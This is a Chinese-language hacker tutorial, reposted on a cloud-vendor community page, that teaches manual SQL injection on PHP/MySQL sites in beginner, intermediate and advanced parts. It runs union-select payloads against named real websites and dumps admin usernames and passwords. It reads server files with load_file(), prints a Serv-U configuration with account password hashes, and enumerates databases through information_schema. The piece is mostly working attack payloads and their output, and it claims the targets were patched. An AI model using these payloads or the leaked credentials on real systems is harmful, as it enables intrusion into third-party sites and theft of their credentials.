PHP注入大全,分低級篇,中級篇,進階篇

來源:互聯網
上載者:User

標籤:

謹以此獻給駭客x檔案的新手們

前言:
現在的網路,最流行的攻擊手段有兩種,一種是緩衝區溢位攻擊,一種是SQL注入,相對而言,最流行的還是指令碼注入,而指令碼注入漏洞更是風靡駭客界。不管是老鳥還是新起步的小菜,都會為它那巨大的威力和靈活多變的招式所著迷!

正是因為注入攻擊的流行,使的市面上的注入工具層出不窮!比較出名的有小竹的NBSI、教主的HDSI和啊D的注入工具等等!這大大方便的小菜們掌握注入漏洞!可是,工具是死的,注入的手法卻是活的,能否根據實際情況靈活地構造SQL注入語句,得到自己想要的資訊,是高手與小菜的根本區別!只用工具,而不去管它的原理,是不可能得到提高的,當然,在遇到一些特殊情況的時候,那些只會用工具的小菜們也只能放棄了!所以學會手工注入自己構造SQL注入語句是一個駭客愛好者必上的一堂課!我希望這篇文章能夠給那些還不會手工注入的朋友一點啟發!協助大家早日擺脫工具,早日踏入 高手的行列!

初級篇

PHP注入的常規手段也是先判斷注入點,我們現在以華東理工大學的一個注入點(http://career.ecust.edu.cn/pop_zp.php?id=158)為例。在網址後面輸入 and 1=1 返回正確頁面,一:
 

 

 

圖一
再輸入 and 1=2 返回錯誤頁面,二
 


圖二

那麼這樣就可以判斷此處存在注入點。
然後就是判斷欄位長度,使用的語句是“order by”在網址後面輸入 order by 10 返回正確頁面,三:
 


圖三

說明欄位長度大於10,然後再輸入 order by 20 返回錯誤頁面,四:


圖四

說明欄位長度在10到20之間,當我們輸入 order by 11 的時候返回的也是錯誤頁面,這就確定了欄位長度為10

然後使用語句“and 1=2 union select 1,2,3,4,5,6,7,8,9,10”爆出2,4,5,6四個欄位位置,五:

圖五

在mysql中 有很多的注射能用到的函數 比如 user() database() version() 分別用來查看當前資料庫連接的使用者名稱,資料庫名稱 以及mysql的版本,這裡 我把 欄位4換成 user() 也就是說 讓頁面在欄位4的位置 顯示當前資料庫連接的使用者名稱
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,user(),5,6,7,8,9,10,六
 

 

 


圖六
繼續換成其它的函數名,分別顯示,七,圖八

圖七

圖八

然後是猜解管理員的表明 這裡說明下 如果當前串連資料庫的使用者是 root的話 可以嘗試使用 loadfile()函數來查看檔案內容 不過前提是要知道檔案的絕對路徑 這裡 我們猜解下管理員表名 在語句後加上 from 表名
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,4,5,6,7,8,9,10%20from%20admin ,九

圖九
返回錯誤頁面說明不存在admin這個表名,輸入users,十


圖十
返回正確頁面,說明存在users這個表名
常用的表名有:admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new使用者會員


 

摘要:我們繼續猜解欄位名稱 常用的列名有:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin admin_passwod administrator administrators ad...

我們繼續猜解欄位名稱
常用的列名有:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin admin_passwod administrator administrators adminpassword admin_pwd adminpass userpass user_pass 使用者
使用者名稱 密碼 帳號

輸入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,username,3,password,5,6,7,8,9,10%20from%20users
在2,4處分別爆出管理使用者名和密碼,十一
 

 


圖十一
這裡僅僅是一個管理員 其實 這個站管理員很多 我們使用判斷語句 來查詢不同的管理員的使用者名稱和密碼在管理員表中有個id欄位 我們用這個欄位的值來查詢不同的管理員 從1開始
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,username,3,password,5,6,7,8,9,10%20from%20users%20where%20id%20=2,十二

 

圖十二

之前我已經看過來從3到127都存在管理員,在這裡我就不一一暴了(汗,這麼多管理員)!
接下來就是找後台,拿webshell了,這個就不在注入的範圍之內,我也就不示範了。


中級篇

這節課說的是 php+mysql注入中load_file()函數的應用

注入的過程中 如果當前資料庫連接使用者為root或者具有root許可權就可以嘗試使用這個函數來讀取檔案 比如在linux下我們可以讀取 /etc/passwd 和/etc/shadow來暴力破解linux密碼
在windows下 我們可以讀取 一些常見的檔案以及敏感的地方比如 serv-u的設定檔 my.ini等等

剛才我們已經爆出了當前資料庫連接的使用者名稱[email protected]

查看下 c:\boot.ini 這裡假設是windows系統 其實就是windows系統

格式是這樣的 load_file(0x+檔案絕對路徑的16進位)

我們先用工具轉換下 剛才的斷了 我們繼續 我一直用這個工具轉換

c:\boot.ini轉換成16進位是633A5C626F6F742E696E69

我們load_file()看看,輸入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,load_file(0x633A5C626F6F742E696E69),5,6,7,8,9,10,十三


圖十三

成功爆出boot.ini的內容

我們再來嘗試暴一下my.ini這個檔案裡的內容,我這裡找了一下my.ini在c:\windows\下,我們使用轉換工具c:\windows\my.ini對應的16進位是633A5C77696E646F77735C6D792E696E69,輸入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,load_file(0x633A5C77696E646F77735C6D792E696E69),5,6,7,8,9,10,十四

圖十四

因為這台伺服器上沒有安裝serv-u,我們使用另一個網站來測試一下
目標:http://www.nihaocg.com/job/jobinfo.php?id=739,欄位長度33
我們先來看一下是否存在serv-u,十五

 

圖十五

在這裡我經過猜測,發現其serv-u的密碼檔案ServUDaemon.ini放在e:\serv-u\目錄下,e:\serv-u\servudaemon.ini對應的16進位是
653A5C736572762D755C73657276756461656D6F6E2E696E69在網址裡輸入
http://www.nihaocg.com/job/jobin ... 0union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,load_file(0x653A5C736572762D755C73657276756461656D6F6E2E696E69),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33成功爆出ServUDaemon.ini密碼檔案裡的內容,十六
 

 

 


 

圖十六
Version=6.3.0.0
ProcessID=1724
[DOMAINS]
Domain1=0.0.0.0||21|nihaocg|1|0|0
[Domain1]
User1=david|1|0
User2=duckula|1|0
[USER=david|1]
Password=jo1F28C9BB1377A27433FFB4E70B7C828B
HomeDir=e:\
RelPaths=1
PasswordLastChange=1230691605
TimeOut=600
Access1=E:\wwwroot|RWAMLP
[USER=duckula|1]
Password=zeDB0E640BED077EF52EB2B366B236CA67
HomeDir=E:\
PasswordLastChange=1230791979
TimeOut=600
Access1=E:\wwwroot|RWAMLP
這裡 我們不但看見了網站的目錄 而且可以嘗試破解serv-u的密碼


進階篇

這節課說的是php+mysql注入中的手工爆庫 爆表 爆欄位,我們在前面很容易就可以爆出一個資料庫,但是我們在後面的猜表中,如果沒有猜猜表名,對於一些人來說可能就認為沒辦法了,這時我們就可以利用暴庫,暴表,暴欄位來獲得管理員的使用者名稱和密碼。

摘要:這裡我使用的一個注入點是:http://study.feloo.com/news.php?id=114129,欄位長度為19,分別爆出2,4,5,13三個欄位位置。 我們把2處替換為schema_name,然後在後面加上from information_schema.SCHEMATA limit 0...

這裡我使用的一個注入點是:http://study.feloo.com/news.php?id=114129,欄位長度為19,分別爆出2,4,5,13三個欄位位置。
我們把2處替換為schema_name,然後在後面加上from information_schema.SCHEMATA limit 0,1/*這條語句,具體形式為:

http://study.feloo.com/news.php? ... 0union%20select%201,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.SCHEMATA%20limit%200,1/*,十七


圖十七
成功爆出網站一個資料庫information_schema,但是這個庫並不一定是我們想要的資料庫(我們所要找的是存在管理使用者名和密碼的資料庫)
這裡 limit 0,1/* 這裡意思是 爆出第一個資料庫的名字 如果要看第二個資料庫名
就一次增加 limit後的值 這裡 為0 我增加1,又爆出另一個資料庫,十八


圖十八
逐次加一,就會分別爆出網站的其它資料庫名

這個網站之前我通過
http://study.feloo.com/news.php? ... 0union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
已經爆出了網站的資料庫名為:study

我們在繼續暴表,就暴study這個庫的表吧
http://study.feloo.com/news.php? ... 0union%20select%201,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.tables%20where%20TABLE_SCHEMA=0x7374756479%20limit%200,1/*

把2的位置替換為table_name,這裡TABLE_SCHEMA=0x7374756479中的0x7374756479是0x+study的十六進位形式。十九

圖十九

成功爆出一個表名,我們還是通過增加limit後面的數字來逐一爆出資料庫中其它的表名

暴欄位

http://study.feloo.com/news.php? ... 0union%20select%201,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x61646D696E%20limit%200,1/*

把2的位置替換成COLUMN_NAME,在TABLE_NAME=0x61646D696E中,0x61646D696E是0x+admin的十六進位形式,二十

圖二十
成功爆出admin表中的一個欄位名,通過增加limit後面的數字分別爆出其它的欄位名,如二十一,二十二
 

 


圖十二一

圖二十二
至此所有的欄位名已經被成功爆出,我們在利用初級篇中講到的爆出管理員的使用者名稱和密碼了。
Concat函數的使用

有時候我們猜到的欄位長度可能是1,這樣對我們的手工就有所限制,這時我們可以藉助concat函數來一次性爆出我們所希望得到的東西

具體用法是concat(我們想要暴的,0x3A,我們想要暴的,0x3A,我們想要暴的……)

我們還拿華東理工大學的那個注入點為例

把4處替換為concat(user(),0x3A,database(),0x3A,version()),0x3A是0x+:的十六進位形式,我們這裡用冒號來分隔開當前資料庫連接的使用者名稱,資料庫名稱 以及mysql的版本。

輸入

http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,concat(user(),0x3A,database(),0x3A,version()),5,6,7,8,9,10

二十三

圖二十三

至此,我們的PHP手工注入到此就結束了,希望此篇文章能對初學者有所協助,文中所涉及到的網站的漏洞,我已經通知相關的管理員做好了補丁,大家就不要再去嘗試了。我們學習的目的不是為了破壞,而是為了更好的維護當前的網路,希望大家能一如既往的關注《駭客x檔案》。

本文轉自 ☆★ 黑白前線 ★☆ - www.hackline.net

原文連結:http://www.hackline.net/a/special/wlgf/wlrq/2009/1031/1310_3.html

PHP注入大全,分低級篇,中級篇,進階篇

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.